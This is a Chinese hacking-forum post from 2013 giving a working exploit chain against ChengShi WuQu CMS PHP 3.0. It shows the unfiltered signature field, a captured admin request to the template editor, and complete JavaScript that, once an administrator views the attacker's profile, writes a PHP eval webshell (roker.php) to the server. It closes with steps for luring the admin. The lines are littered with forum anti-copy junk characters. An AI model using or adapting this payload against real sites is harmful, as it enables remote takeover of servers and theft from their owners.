找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2513|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
/ i. l' h: \4 U" d- `* V官网已经修补了,所以重新下了源码, Q8 [3 i4 K' r# d
因为 后台登入 还需要认证码 所以 注入就没看了。
' ]6 o9 }9 }$ n, t8 q/ y5 u存在 xss
/ f2 ?7 j/ W* x  m, m) I+ m2 H漏洞文件 user/member/skin_edit.php
; A( s% K5 B7 e8 ]9 C0 v本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
. ?9 h5 V; w" a6 f$ _6 N  
! _- `/ P$ _& |# `0 j" ~6 [</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
4 e& E) y) `1 a  o) R  $ z7 E( t+ {2 ]% O4 |; ?
</textarea></td></tr>
* F! H( P/ Q$ g% }( ?  G  r  
( ?. N  N2 t. m" g# M             user/do.php / s1 h( r$ P. @$ S
) z7 }3 A. z2 ^( H

7 q6 {) D4 F4 e4 x) Dif($op=='zl'){ //资料+ h. ^2 N7 I1 e" @& y
  
$ e+ I7 E5 w3 `5 q: X             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) % _3 F+ v' n5 B& E$ e/ F5 d5 j
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
- p( ?: O( T& ?/ f4 j2 R  5 I5 M8 ~2 r2 @' s7 d+ J% B! S; M/ n
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
: X; r8 w8 M& u2 V5 \% B+ W  
" r5 f  S3 U, w& ^6 `5 g             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
/ g# F; R! }9 f' `, H5 O             where CS_Name='".$cscms_name."'";! y1 p- X. j' F. ~' ?, k3 j
  
# K, o! S( A) d7 U1 a/ g             if($db->query($sql)){5 n! W% D+ Y: h5 }! ^8 k
  
4 D$ X8 V* |8 {' N. r! P              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
# H( [$ e" \8 w4 N# `5 ]  ! L- M6 ^, e# v
             }else{
' P" X& {9 l/ J: ]6 S  
0 a; K4 p( Z0 U$ V) b9 q              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
" M6 N% p1 J7 y  ' N( F+ w! A# Q: g1 W; N8 I
             }
' \5 D/ j8 b/ |. D5 j, F: C& J* l3 k( o, G. o; z6 l* W

0 K" u: p1 i% m* V) o/ j没有 过滤导致xss产生。
% ~6 }& ^2 j: A后台 看了下 很奇葩的是可以写任意格式文件。。
4 D) e9 T8 w! B抓包。。0 H. E7 y  E5 l8 C

( L8 a3 T" H/ v  F
7 x  t9 x' L7 H* b! k- y本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
- G7 B* f; c! V" C  
6 n* G% |( x+ J1 y: c& ?Accept: text/html, application/xhtml+xml, */*
, _2 R% e/ l( S" w. v  L2 W  
3 h% P9 N/ a8 s, ~3 R4 {Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
% m0 h0 P$ _& L& S1 m  ; m' ]: \" d& \4 ~# m" H
Accept-Language: zh-CN
. ^7 Z' l5 W; V, [- U/ c  
  _1 u9 r' B+ g/ N7 g8 a# s! SUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)( M3 c! {) I8 i/ g& B
  7 W+ I% N" X& U* g( }
Content-Type: application/x-www-form-urlencoded& o: K/ B2 f) T8 z
  
5 S  G: \7 b) l9 A5 L7 w, q& rAccept-Encoding: gzip, deflate" q3 ?# i6 _( V3 h- C
  ( z3 d5 `/ H1 x5 F! V6 _0 A. F
Host: 127.0.0.15 I9 ^. y. b' P4 B
  ) l! h( M2 r- H
Content-Length: 38
7 P+ L4 x; u- r' S2 P  
* \+ }! N- d* G2 N6 m' oDNT: 1+ V+ m1 x$ u3 x* Z
  0 H* f; z0 ~, T7 Q! B
Connection: Keep-Alive3 F& F3 \9 g0 f/ Z. b: {5 T
  
# Q* _" `1 T% y# U/ h7 ACache-Control: no-cache4 I: S7 S2 \  Q9 D# B  H
  
" L) C  I! |8 {& b* Z( QCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594* j: E. A! _8 s- Q9 ], r
  # L1 e. D; A7 H0 [9 m

' y1 Y/ R# x) H, m5 V& @$ {& q; t- _name=aaa.php&content=%3Cs%3E%3Ca%25%3E5 b1 N4 H1 S" Q, W

6 M6 J6 i( A  Z9 D4 N5 A6 e2 r: M( \. k5 \9 D& t
/ n& |6 z& t+ e$ E# K
于是 构造js如下。2 A; e; i4 h2 i( P4 M" @

- U0 k3 C8 ^0 s本帖隐藏的内容<script>
) X% d+ W  k! Y, j; M: nthisTHost = top.location.hostname;& [7 }; U' C/ Z7 ?, B& d* M+ l( a; H
  3 t( S4 |! }5 v6 A
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
7 R) i6 Y) ~6 u/ i; x; h  
5 h( P* ~5 n7 ?3 ?# H$ _function PostSubmit(url, data, msg) {
  D# V. s! c& X# ~4 p: s/ D    var postUrl = url;
" a1 y8 r$ ^, e" N- ]  
8 i: ^2 W0 ?) H& B8 ^4 D    var postData = data;
- d" t" ~4 C+ h# v) }    var msgData = msg;
! a6 t& \) d& {) w. ~4 F# Z    var ExportForm = document.createElement("FORM"); ( z0 z; Z6 t  j7 g$ B6 T, K# m7 a
    document.body.appendChild(ExportForm);
# G& H9 G1 L- p# S; r    ExportForm.method = "POST"; - @3 w2 V- _0 e2 `, n8 S2 F
    var newElement = document.createElement("input");
" p2 d" d6 `" Q! @    newElement.setAttribute("name", "name");
+ D% X" L2 b7 _8 h+ G  o% w3 x+ n    newElement.setAttribute("type", "hidden");
2 w& ^- Z+ X4 b1 `% `" r( Q% ~* w: ^$ y    var newElement2 = document.createElement("input");
" a: ~  m& z, [" Z    newElement2.setAttribute("name", "content"); 9 S, q( B; K# I
    newElement2.setAttribute("type", "hidden");
5 l) i2 w5 P, a    ExportForm.appendChild(newElement);
0 G/ D' l& `$ S1 g    ExportForm.appendChild(newElement2); & E  Y# B2 E7 D# F& E" F
    newElement.value = postData;
' u! }* G1 R- H/ \    newElement2.value = msgData;
! `; e' F% [$ M0 z6 n, {4 p5 R& l7 I    ExportForm.action = postUrl;
) S1 c9 [+ @& r6 o: i9 c    ExportForm.submit();
- M. h/ A, P% b% w* W& w$ N+ \: V};
, `% J* u$ U  ?6 D/ S) G- G  # i$ x* S: o6 q& H
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
( _8 _; O- n2 w$ ^- c! b$ Q  & D. P3 x1 w! t' E5 ^& ~6 x: m8 [
</script>+ M, `: f9 a% s5 \8 s, Q
3 p# p7 J2 T! S: X0 I% V
6 N0 X& J, J$ x' A  [& _) x, P
# V3 `) `; t! _3 P$ k" y+ _
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
- E; Z& D3 j2 F5 d" x8 q8 i用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)4 k: v" L! r/ l+ O2 p- E% [( l
就会 在 skins\index\html\目录下生成 roker.php 一句话。
; e/ N$ a' l( P" @( m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表